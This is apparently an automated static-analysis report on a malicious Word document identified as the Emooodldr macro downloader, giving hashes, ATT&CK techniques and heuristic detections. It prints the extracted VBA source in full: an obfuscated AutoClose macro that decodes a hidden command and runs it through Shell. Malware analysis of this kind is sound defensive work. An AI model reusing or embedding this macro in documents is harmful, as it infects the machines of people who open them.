Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ed16e269224b7dae…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 340f57477a1e9b238ecc22ae4bb60b4f SHA-1: c9d4dadcd7f6851d0a249274530ee09808f7b9c2 SHA-256: ed16e269224b7daeb5fb8aa5194543c3b300d5e9e916f1c00e268747c676247c
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an Auto_Close macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. ClamAV detection confirms this as 'Doc.Malware.Emooodldr-6711604-0', strongly suggesting the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2054 bytes
SHA-256: a4da13016c86658debc1b25bac1e0f070b800703b08e7a32c402a7abcc35dcc0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function undiscernedly(hydromedusae)
  blockage = Array("I", "M", "g", "x", "B", "E", "9", "p", "Q", "3", "h", "L", "4", "2", "m", "5", "e", "S", "O", "P", "n", "c", "J", "v", "1", "T", "G")
  lozengewise = Array("u", "q", ".", " ", "e", "c", "N", "s", "v", "m", "/", "n", "l", "j", "o", "U", "p", "a", "h", ":", "?", "d", "=", "t", "x", "w", "i")
  
  bridecake = vbNullString
  
  For Each mountainside In hydromedusae
    crispnesses = magazines(mountainside, blockage)
    If crispnesses > -1 Then
    bridecake = lozengewise(crispnesses) + bridecake
    End If
  Next
  
  undiscernedly = StrReverse(bridecake)
  
End Function

Public Function magazines(moult, predicatable)
  eunuchry = 5981
  fabaceae = 8041
  For eunuchry = 0 To UBound(predicatable)
    If predicatable(eunuchry) = moult Then
     fabaceae = eunuchry
    End If
  Next

  If fabaceae = 8041 Then
    fabaceae = -1
  End If
  
  magazines = fabaceae
End Function


Sub AutoClose()
  hydromedusae = Array("3", "p", "O", "v", "S", "g", "B", "1", "B", "x", "O", "v", "v", "e", "P", "h", "h", "G", "2", "M", "I", "c", "M", "2", "T", "B", "m", "3", "S", "p", "L", "c", "M", "T", "g", "E", "m", "3", "h", "9", "5", "h", "p", "m", "4", "4", "S", "g", "e", "O", "e", "n", "I", "v", "3", "S", "J", "Q")
  scribeship = undiscernedly(hydromedusae)
  
  Application.Run "theistical", (scribeship)
  
End Sub


Private Sub theistical(americophobe)
   
   overtakers = 909
   poblanos = True
   
   While poblanos
     puckerbush = overtakers + 611
     If puckerbush - overtakers > 7 Then
       colonising = crudity + "ll"
       Call VBA.Shell(americophobe, vbNormalFocus - 1)
       poblanos = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8ded8b27a983513e9a9bebea56cd3e158ecc105b7cf246fe886ac8d137ecd491
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.